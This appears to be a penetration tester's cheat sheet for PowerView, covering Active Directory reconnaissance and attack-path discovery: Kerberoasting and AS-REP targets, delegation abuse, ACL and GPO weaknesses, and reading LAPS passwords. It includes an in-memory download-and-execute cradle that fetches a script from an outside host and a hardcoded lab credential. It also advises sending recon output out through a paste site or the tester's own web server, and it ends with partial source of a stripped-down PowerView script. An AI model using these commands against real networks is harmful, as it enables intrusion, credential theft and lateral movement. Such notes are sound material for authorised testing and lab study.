PowerView

PowerView Cheat Sheet

https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

PowerView Basic Searches

powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1

Get-Domain:

Returns a domain object for the current domain or the domain specified with -Domain. Useful information includes the domain name, the forest name and the domain controllers.

Get-Domain

Get-DomainController

Returns the domain controllers for the current or specified domain.

Get-DomainController | select Forest, Name, OSVersion | fl

Get-ForestDomain

Returns all domains for the current forest or the forest specified by -Forest.

Get-ForestDomain

Get-DomainPolicyData

Returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller. Useful for finding information such as the domain password policy.

Get-DomainPolicyData | select -expand SystemAccess

Get-DomainUser

Return all (or specific) user(s). To only return specific properties, use -Properties. By default, all user objects for the current domain are returned, use -Identity to return a specific user (Running the command without -Identity will make us wait a while for all the data to return).

Most privileges in a domain are delegated to domain groups, rather than individual users. So if we can find where a domain group has privileged access, we know that members will also have those privileges.

Get-DomainUser -Identity {user} -Properties DisplayName, MemberOf, membername | fl

Get-DomainComputer

Return all computers or specific computer objects.

Get-DomainComputer -Properties DnsHostName | sort -Property DnsHostName

To get all computer names and their IP Addresses:

Get-DomainComputer -Properties DnsHostName | Sort-Object -Property DnsHostName | ForEach-Object { [PSCustomObject]@{ ComputerName = $_.DnsHostName; IPAddress = ([System.Net.Dns]::GetHostAddresses($_.DnsHostName) | Where-Object { $_.AddressFamily -eq "InterNetwork" }).IPAddressToString } }

Get-DomainOU

Search for all organization units (OUs) or specific OU objects.

Get-DomainOU -Properties Name | sort -Property Name

Get-DomainGroup

Return all domain groups or specific domain group objects:

Get-DomainGroup | where Name -like "*Admins*" | select SamAccountName

Return information about a group:

Get-DomainGroup -Identity "SQL Admins"

Return name and members of a group:

Get-DomainGroup -Identity WebAdmins -Properties samaccountname, DisplayName, member | fl

Get-DomainGroupMember

Return the members of a specific domain group.

Get-DomainGroupMember -Identity "Domain Admins" | select MemberDistinguishedName, membername

Get-DomainGPO

Return all Group Policy Objects (GPOs) or specific GPO objects. To enumerate all GPOs that are applied to a particular machine, use -ComputerIdentity.

Get-DomainGPO -Properties DisplayName | sort -Property DisplayName

Get-DomainGPOLocalGroup

Returns all GPOs that modify local group membership through Restricted Groups or Group Policy Preferences. We can then manually find which OUs, and by extension which computers, these GPOs apply to.

Get-DomainGPOLocalGroup | select GPODisplayName, GroupName

Get-DomainGPOUserLocalGroupMapping

Enumerate the machines where a specific domain user/group has local admin access:

Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName | fl

Enumerate the machines where a specific domain user/grou has RDP access:

Get-DomainGPOUserLocalGroupMapping -LocalGroup RDP | select ObjectName, GPODisplayName, ContainerName, ComputerName | fl

Logon and Sessions

Get net logon users at the moment in a computer (need admins rights on target):

Get-NetLoggedon -ComputerName <servername>

Get active sessions on the host:

Get-NetSession -ComputerName <servername>

Get locally logon users at the moment (need remote registry (default in server OS)):

Get-LoggedOnLocal -ComputerName <servername>

Get last user logged on (needs admin rigths in host):

Get-LastLoggedon -ComputerName <servername>

List RDP sessions inside a host (needs admin rights in host):

Get-NetRDPSession -ComputerName <servername>

To get all the information above from all computers in a table:

$computers = Get-DomainComputer -Properties DnsHostName | Sort-Object -Property DnsHostName; $computerResults = foreach ($computer in $computers) { $computerName = $computer.DnsHostName; $loggedOnUsers = (Get-NetLoggedon -ComputerName $computerName).LoggedOnUsers -join ", "; $activeSessions = (Get-NetSession -ComputerName $computerName).UserName -join ", "; $locallyLoggedOnUsers = (Get-LoggedOnLocal -ComputerName $computerName).Username -join ", "; $lastUserLoggedon = (Get-LastLoggedon -ComputerName $computerName).Username -join ", "; $rdpSessions = (Get-NetRDPSession -ComputerName $computerName).UserName -join ", "; [PSCustomObject]@{ ComputerName = $computerName; LogonUsers = $loggedOnUsers; ActiveSessions = $activeSessions; LocallyLogonUsers = $locallyLoggedOnUsers; LastUserLoggedon = $lastUserLoggedon; RDPSessions = $rdpSessions } }; $computerResults | Format-Table -AutoSize

Get-DomainTrust

Return all domain trusts for the current or specified domain.

Get-DomainTrust

Get-DomainSubnet

Return the domain subnet:

Get-DomainSubnet -Domain {domain-name}

PowerView Advanced Searches

- SID (Security Identifier)

To get a user SID (last 4 characters will be the user RID):

Get-DomainUser -Identity {username} -Properties objectsid

To get a Computer SID (Exclude the las 4 character to get the domain SID):

Get-DomainComputer -Identity {computer} -Properties objectSid

To convert a SID to a readable format:

ConvertFrom-SID {SID}

- File Shares

To search for computer shares on the domain (-CheckShareAccess parameter only shows that shares the current user has read access to):

Find-DomainShare -CheckShareAccess

To searches each share, returning results where the specified strings appear in the path:

Find-InterestingDomainShareFile -Include *.doc*, *.xls*, *.csv, *.ppt*

- ASREPRoastable users

Get-NetUser -PreauthNotRequired

- Kerberoastable users

Get-NetUser -SPN

Get-NetUser -Domain example.com | Where-Object {$_.servicePrincipalName} | select name, samaccountname, serviceprincipalname

- Unconstrained Delegation

To identify all computers that are permitted for unconstrained delegation:

Get-DomainComputer -Unconstrained -Properties SamAccountName

- Constrained Delegation

To identify all computers and users configured for constrained delegation:

Get-NetComputer -TrustedToAuth | select samaccountname,msds-allowedtodelegateto | ft

Get-NetUser -TrustedToAuth | select samaccountname,msds-allowedtodelegateto | ft

- Resource-Based Constrained Delegation (RBCD)

To obtain every domain computer and read their ACL, filtering on the interesting rights (look after WriteProperty, GenericAll, GenericWrite or WriteDacl):

Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "{domain sid}-[\d]{4,10}" }

Then, to start the attack, we need the SID of the computer we control or we have created:

ConvertFrom-SID {security identifier of the target}

or

Get-DomainComputer -Identity {computer name we have high privileges on} -Properties object

Other ways to locate a RBCD would be the following:

To enumerate RBCD for our current context:

Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}

To get all sids, all computer object ACLs, and find RBCD

$usersid = get-domainuser | select -exp objectsid; "Got user SIDS"; $computeracls = Get-DomainComputer | select -exp dnshostname | get-domainobjectacl; "Got computer ACLs"; "Search through acls for RBCD..."; foreach ($acl in $computeracls) { foreach($sid in $usersid) { $acl | ?{$_.SecurityIdentifier -eq $sid -and ($_.ActiveDirectoryRights -Like '*GenericAll*' -or $_.ActiveDirectoryRights -Like '*GenericWrite*' -or $_.ActiveDirectoryRights -Like '*WriteOwner*')} } }

or

$groupsid = $groups = Get-DomainGroup | Where-Object {$_.SamAccountName -ne "Domain Admins" -and $_.SamAccountName -ne "Account Operators" -and $_.SamAccountName -ne "Enterprise Admins" -and $_.SamAccountName -ne "Administrators" -and $_.SamAccountName -ne "DnsAdmins" -and $_.SamAccountName -ne "Schema Admins" -and $_.SamAccountName -ne "Key Admins" -and $_.SamAccountName -ne "Enterprise Key Admins" -and $_.SamAccountName -ne "Storage Replica Administrators"} | select -exp objectsid; "Got group SIDS"; $computeracls = Get-DomainComputer | select -exp dnshostname | get-domainobjectacl; "Got computer ACLs"; "Search through acls for RBCD..."; foreach ($acl in $computeracls) { foreach($sid in $groupsid) { $acl | ?{$_.SecurityIdentifier -eq $sid -and ($_.ActiveDirectoryRights -Like '*GenericAll*' -or $_.ActiveDirectoryRights -Like '*GenericWrite*' -or $_.ActiveDirectoryRights -Like '*WriteOwner*')} } }

or

$computersid = get-domaincomputer | select -exp objectsid; "Got computer SIDS"; $computeracls = Get-DomainComputer | select -exp dnshostname | get-domainobjectacl; "Got computer ACLs"; "Search through acls for RBCD..."; foreach ($acl in $computeracls) { foreach($sid in $computersid) { $acl | ?{$_.SecurityIdentifier -eq $sid -and($_.ActiveDirectoryRights -Like '*GenericAll*' -or $_.ActiveDirectoryRights -Like '*GenericWrite*' -or $_.ActiveDirectoryRights -Like '*WriteOwner*')} } }

- ACLs/ACEs

To scan interesting ACLs:

Invoke-ACLScanner -ResolveGUIDs

Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl

Invoke-ACLScanner -ResolveGUIDs | Where-Object { ($_.ObjectDN -notmatch "CN=MicrosoftDNS") -and ($_.ObjectDN -notmatch "OU=Domain Controllers")} | select ObjectDN, ActiveDirectoryRights, IdentityReferenceName, IdentityReferenceDomain, IdentityReferenceDN, IdentityReferenceClass | fl

To exclude LAPS from the results:

Invoke-ACLScanner -ResolveGUIDs | Where-Object { ($_.ObjectDN -notmatch "CN=MicrosoftDNS") -and ($_.ObjectDN -notmatch "OU=Domain Controllers") -and ($_.ObjectAceType -notmatch "ms-Mcs-AdmPwd")} | select ObjectDN, ActiveDirectoryRights, IdentityReferenceName, IdentityReferenceDomain, IdentityReferenceDN, IdentityReferenceClass | fl

To enumerate all domain users that our current account has GenericAll rights to:

Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}

To enumerate all domain groups that our current account has GenericAll rights to:

Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}

To enumerate all domain users that our current account has WriteDACL access rights to:

Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}

To get all users who have WriteDACL, GenericAll, ForceChangePassword or AllExtendedRights rights on objects they do not own, excluding Domain Admins, Enterprise Admins, Local System Accounts and BUILTIN Accounts:

Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | ForEach-Object { $_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.Value) -Force; $_ } | Where-Object { $_.ActiveDirectoryRights -match "WriteDACL|GenericAll|ForceChangePassword|AllExtendedRights" -and ($_.Identity -notlike "*BUILTIN*" -and $_.Identity -ne "Local System") -and $_.Identity -notmatch ".*\\Domain Admins$" -and $_.Identity -notmatch ".*\\Enterprise Admins$" }

To get all groups who have WriteDACL, GenericAll, ForceChangePassword or AllExtendedRights rights on objects they do not own, excluding Domain Admins, Enterprise Admins, Local System Accounts and BUILTIN Accounts:

Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | ForEach-Object { $_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.Value) -Force; $_ } | Where-Object { $_.ActiveDirectoryRights -match "WriteDACL|GenericAll|ForceChangePassword|AllExtendedRights" -and ($_.Identity -notlike "*BUILTIN*" -and $_.Identity -ne "Local System") -and $_.Identity -notmatch ".*\\Domain Admins$" -and $_.Identity -notmatch ".*\\Enterprise Admins$" }

- Group Policy Objects (GPO)

We want to filter any for which a principal has modify privileges such as CreateChild, WriteProperty or GenericWrite, and also want to filter out the legitimate principals including SYSTEM, Domain Admins and Enterprise Admins.

Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }

Once result has been returned, let's resolve the GPO name and the SID of the principal.

Get-DomainGPO -Identity "{ObjectDN returned fom previous command, copy the whole line}" | select displayName, gpcFileSysPath

We also want to know which OU(s) this GPO applies to, and which computers are in those OUs:

Get-DomainOU -GPLink "{First ObjectDN returned the initial command, ex: {5059FAC1-5E94-4361-95D3-3BB235A23928}}" | select distinguishedName

To get the computers in an OU:

Get-DomainComputer -SearchBase "OU=Workstations,{DC parameters obtained through the initial command, ex:DC=dev,DC=cyberbotic,DC=io}" | select dnsHostName

To search for principals that can create new GPOs in the domain:

Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" -and $_.ActiveDirectoryRights -contains "CreateChild" } | % { ConvertFrom-SID $_.SecurityIdentifier }

To search for pincipals that can link GPOs to an OU:

Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier | fl

- MS SQL

To find a user (or group) that have access to the SQL Server:

Get-DomainGroup -Identity *SQL* | % { Get-DomainGroupMember -Identity $_.distinguishedname | select groupname, membername }

- Forest & Domain Trusts

To see the domain trusts:

Get-DomainTrust

Get-DomainTrust -API

Get-DomainTrust -Domain {domain we have a trust}

To automate the process of executing Get-DomainTrust through every domain, we can use the following:

Get-DomainTrustMapping

SourceName is the current domain, TargetName is the foreign domain, TrustDirection is the trust direction (bidirectional is two-way), and TrustAttributes: WITHIN_FOREST lets us know that both of these domains are part of the same forest which implies a parent/child relationship.

To get the SID of a target group in the parent domain:

Get-DomainGroup -Identity "Domain Admins" -Domain {parent domain} -Properties ObjectSid

To get the name of the domain controler of the parent domain:

Get-DomainController -Domain {parent domain} | select Name

To get the DNS Host name of the target:

Get-DomainComputer -Domain dev-studio.com -Properties DnsHostName

To enumerate any groups that contain users outside of its domain and return its members (Inbound):

Get-DomainForeignGroupMember -Domain {domain target}

- LAPS (Local Administrator Password Solution)

To search for GPOs that have "LAPS" or some other descriptive term in the name:

powershell Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl

To search for computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property).

powershell Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName

To discover which principals are allowed to read the ms-Mcs-AdmPwd attribute by reading its DACL on each computer object:

Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier

To read the attribute and get a computer's password:

Get-DomainComputer -Identity {computer} -Properties ms-Mcs-AdmPwd

To get the ms-Mcs-AdmPwd expiration time:

Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

! We can also use PowerView as another user we have credentials doing a PS session lateral movement, example with LAPS:

$SecPassword = ConvertTo-SecureString 'J5KCwKruINyCJBKd1dZU' -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential('rastalabs.local\ngodfrey_adm', $SecPassword)

Get-DomainComputer -Domain rastalabs.local -Credential $cred|select samaccountname,ms-mcs-admpwd

- AppLocker

To enumerate AppLocker from the GPO of a machine its applied to:

Get-DomainGPO -Domain dev-studio.com | ? { $_.DisplayName -like "*AppLocker*" } | select displayname, gpcfilesyspath

- DCSync Privs

To enumerate DS-Replication-Get-Changes, Replicating Directory Changes All and Replicating Directory Changes in Filtered Set perms:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

SharpView

SharpView (https://github.com/tevora-threat/SharpView) was designed to be a C# port of PowerView and therefore has much the same functionality. However, one downside is that it doesn't have the same piping ability as PowerShell.

Example:

execute-assembly C:\Tools\SharpView\SharpView\bin\Release\SharpView.exe Get-Domain

PowerView.py

https://github.com/aniqfakhrul/powerview.py

MiniView

https://sf-res.com/miniview.ps1 (Full script at the end of this page)

Instead of loading the original PowerView script, we can use a custom stripped-down version that only defines the couple methods we will actually use.

First we create a web client browser object to retrieve the PowerView script from the web:

$browser = New-Object System.Net.WebClient;

Next, we instruct this browser to leverage the deafult credentials of the system-level proxy, just in case outgoing HTTP traffic flows through an authenticated proxy to reach the internet:

$browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials;

Finally, we download and execute the script in memory.

IEX($browser.DownloadString('https://sf-res.com/miniview.ps1'));

To make a deep recon with miniview.ps1:

Users:

Get-NetUser |select name, lastlogontimestamp, serviceprincipalname, admincount, memberof | Format-Table -Wrap -AutoSize | out-file users.txt

Group listings and memberships:

Get-NetGroup -FullData | select name, description | Format-Table -Wrap -AutoSize| out-file groups. txt

Get-NetGroup | Get-NetGroupMember -FullData | ForEach-Object -Process { "$($_.GroupName), $($_.MemberName), $($_.description)"} | out-file group_members.txt

Group Policy Objects:

gpresult -h gpo.html

Network Shares:

Invoke-ShareFinder | out-file shares.txt

Running processes:

Get-Process | Select-Object id, name, username, path | Format-Table -Wrap -AutoSize | out-file processes.txt

Running services:

Get-WmiObject win32_service -filter "state='running'" | select name,processid,pathname | Format-Table -Wrap -AutoSize | out-file services.txt

If the target server happens to forbid copy-paste operations, we can use Ghostbin (https://ghostbin.me), a free web service, to paste the contents of these files and later retrieve them from the front-line server, or we ccan send the files directly through HTTP to our own web server on the front-line server.

miniview.ps1:

function Get-DomainSID {
    param(
        [String]
        $Domain
    )

    $FoundDomain = Get-NetDomain -Domain $Domain

    if($FoundDomain) {
        $PrimaryDC = $FoundDomain.PdcRoleOwner
        $PrimaryDCSID = (Get-NetComputer -Domain $Domain -ComputerName $PrimaryDC -FullData).objectsid
        $Parts = $PrimaryDCSID.split("-")
        $Parts[0..($Parts.length -2)] -join "-"
    }
}

function Add-Win32Type
{
    [OutputType([Hashtable])]
    Param(
        [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
        [String]
        $DllName,

        [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
        [String]
        $FunctionName,

        [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
        [Type]
        $ReturnType,

        [Parameter(ValueFromPipelineByPropertyName = $True)]
        [Type[]]
        $ParameterTypes,

        [Parameter(ValueFromPipelineByPropertyName = $True)]
        [Runtime.InteropServices.CallingConvention]
        $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,

        [Parameter(ValueFromPipelineByPropertyName = $True)]
        [Runtime.InteropServices.CharSet]
        $Charset = [Runtime.InteropServices.CharSet]::Auto,

        [Parameter(ValueFromPipelineByPropertyName = $True)]
        [Switch]
        $SetLastError,

        [Parameter(Mandatory = $True)]
        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
        $Module,

        [ValidateNotNull()]
        [String]
        $Namespace = ''
    )

    BEGIN
    {
        $TypeHash = @{}
    }

    PROCESS
    {
        if ($Module -is [Reflection.Assembly])
        {
            if ($Namespace)
            {
                $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
            }
            else
            {
                $TypeHash[$DllName] = $Module.GetType($DllName)
            }
        }
        else
        {
            if (!$TypeHash.ContainsKey($DllName))
            {
                if ($Namespace)
                {
                    $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
                }
                else
                {
                    $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
                }
            }

            $Method = $TypeHash[$DllName].DefineMethod(
                $FunctionName,
                'Public,Static,PinvokeImpl',
                $ReturnType,
                $ParameterTypes)

            $i = 1
            ForEach($Parameter in $ParameterTypes)
            {
                if ($Parameter.IsByRef)
                {
                    [void] $Method.DefineParameter($i, 'Out', $Null)
                }

                $i++
            }

            $DllImport = [Runtime.InteropServices.DllImportAttribute]
            $SetLastErrorField = $DllImport.GetField('SetLastError')
            $CallingConventionField = $DllImport.GetField('CallingConvention')
            $CharsetField = $DllImport.GetField('CharSet')
            if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }

            $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
            $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
                $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
                [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField),
                [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset)))

            $Method.SetCustomAttribute($DllImportAttribute)
        }
    }

    END
    {
        if ($Module -is [Reflection.Assembly])
        {
            return $TypeHash
        }

        $ReturnTypes = @{}

        ForEach ($Key in $TypeHash.Keys)
        {
            $Type = $TypeHash[$Key].CreateType()

            $ReturnTypes[$Key] = $Type
        }

        return $ReturnTypes
    }
}

function struct
{


    [OutputType([Type])]
    Param
    (
        [Parameter(Position = 1, Mandatory = $True)]
        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
        $Module,

        [Parameter(Position = 2, Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [String]
        $FullName,

        [Parameter(Position = 3, Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [Hashtable]
        $StructFields,

        [Reflection.Emit.PackingSize]
        $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,

        [Switch]
        $ExplicitLayout
    )

    if ($Module -is [Reflection.Assembly])
    {
        return ($Module.GetType($FullName))
    }

    [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
        Class,
        Public,
        Sealed,
        BeforeFieldInit'

    if ($ExplicitLayout)
    {
        $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
    }
    else
    {
        $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
    }

    $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
    $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
    $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))

    $Fields = New-Object Hashtable[]($StructFields.Count)

    ForEach ($Field in $StructFields.Keys)
    {
        $Index = $StructFields[$Field]['Position']
        $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
    }

    ForEach ($Field in $Fields)
    {
        $FieldName = $Field['FieldName']
        $FieldProp = $Field['Properties']

        $Offset = $FieldProp['Offset']
        $Type = $FieldProp['Type']
        $MarshalAs = $FieldProp['MarshalAs']

        $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')

        if ($MarshalAs)
        {
            $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
            if ($MarshalAs[1])
            {
                $Size = $MarshalAs[1]
                $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
                    $UnmanagedType, $SizeConst, @($Size))
            }
            else
            {
                $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
            }

            $NewField.SetCustomAttribute($AttribBuilder)
        }

        if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
    }

    $SizeMethod = $StructBuilder.DefineMethod('GetSize',
        'Public, Static',
        [Int],
        [Type[]] @())
    $ILGenerator = $SizeMethod.GetILGenerator()
    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
        [Type].GetMethod('GetTypeFromHandle'))
    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
        [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)

    $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
        'PrivateScope, Public, Static, HideBySig, SpecialName',
        $StructBuilder,
        [Type[]] @([IntPtr]))
    $ILGenerator2 = $ImplicitConverter.GetILGenerator()
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
        [Type].GetMethod('GetTypeFromHandle'))
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
        [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)

    $StructBuilder.CreateType()
}

function func
{
    Param
    (
        [Parameter(Position = 0, Mandatory = $True)]
        [String]
        $DllName,

        [Parameter(Position = 1, Mandatory = $True)]
        [String]
        $FunctionName,

        [Parameter(Position = 2, Mandatory = $True)]
        [Type]
        $ReturnType,

        [Parameter(Position = 3)]
        [Type[]]
        $ParameterTypes,

        [Parameter(Position = 4)]
        [Runtime.InteropServices.CallingConvention]
        $NativeCallingConvention,

        [Parameter(Position = 5)]
        [Runtime.InteropServices.CharSet]
        $Charset,

        [Switch]
        $SetLastError
    )

    $Properties = @{
        DllName = $DllName
        FunctionName = $FunctionName
        ReturnType = $ReturnType
    }

    if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
    if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
    if ($Charset) { $Properties['Charset'] = $Charset }
    if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }

    New-Object PSObject -Property $Properties
}

function field
{
    Param
    (
        [Parameter(Position = 0, Mandatory = $True)]
        [UInt16]
        $Position,

        [Parameter(Position = 1, Mandatory = $True)]
        [Type]
        $Type,

        [Parameter(Position = 2)]
        [UInt16]
        $Offset,

        [Object[]]
        $MarshalAs
    )

    @{
        Position = $Position
        Type = $Type -as [Type]
        Offset = $Offset
        MarshalAs = $MarshalAs
    }
}

function Convert-LDAPProperty {
    param(
        [Parameter(Mandatory=$True,ValueFromPipeline=$True)]
        [ValidateNotNullOrEmpty()]
        $Properties
    )

    $ObjectProperties = @{}

    $Properties.PropertyNames | ForEach-Object {
        if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) {
            $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value
        }
        elseif($_ -eq "objectguid") {
            $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
        }
        elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) {
            if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
                $Temp = $Properties[$_][0]
                [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
                [Int32]$Low  = $Temp.GetType().InvokeMember("LowPart",  [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
                $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
            }
            else {
                $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
            }
        }
        elseif($Properties[$_][0] -is [System.MarshalByRefObject]) {
            $Prop = $Properties[$_]
            try {
                $Temp = $Prop[$_][0]
                Write-Verbose $_
                [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
                [Int32]$Low  = $Temp.GetType().InvokeMember("LowPart",  [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
                $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
            }
            catch {
                $ObjectProperties[$_] = $Prop[$_]
            }
        }
        elseif($Properties[$_].count -eq 1) {
            $ObjectProperties[$_] = $Properties[$_][0]
        }
        else {
            $ObjectProperties[$_] = $Properties[$_]
        }
    }

    New-Object -TypeName PSObject -Property $ObjectProperties
}

function New-InMemoryModule
{

    Param
    (
        [Parameter(Position = 0)]
        [ValidateNotNullOrEmpty()]
        [String]
        $ModuleName = [Guid]::NewGuid().ToString()
    )

    $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies()

    ForEach ($Assembly in $LoadedAssemblies) {
        if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
            return $Assembly
        }
    }

    $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
    $Domain = [AppDomain]::CurrentDomain
    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)

    return $ModuleBuilder
}

function psenum
{

    [OutputType([Type])]
    Param
    (
        [Parameter(Position = 0, Mandatory = $True)]
        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
        $Module,

        [Parameter(Position = 1, Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [String]
        $FullName,

        [Parameter(Position = 2, Mandatory = $True)]
        [Type]
        $Type,

        [Parameter(Position = 3, Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [Hashtable]
        $EnumElements,

        [Switch]
        $Bitfield
    )

    if ($Module -is [Reflection.Assembly])
    {
        return ($Module.GetType($FullName))
    }

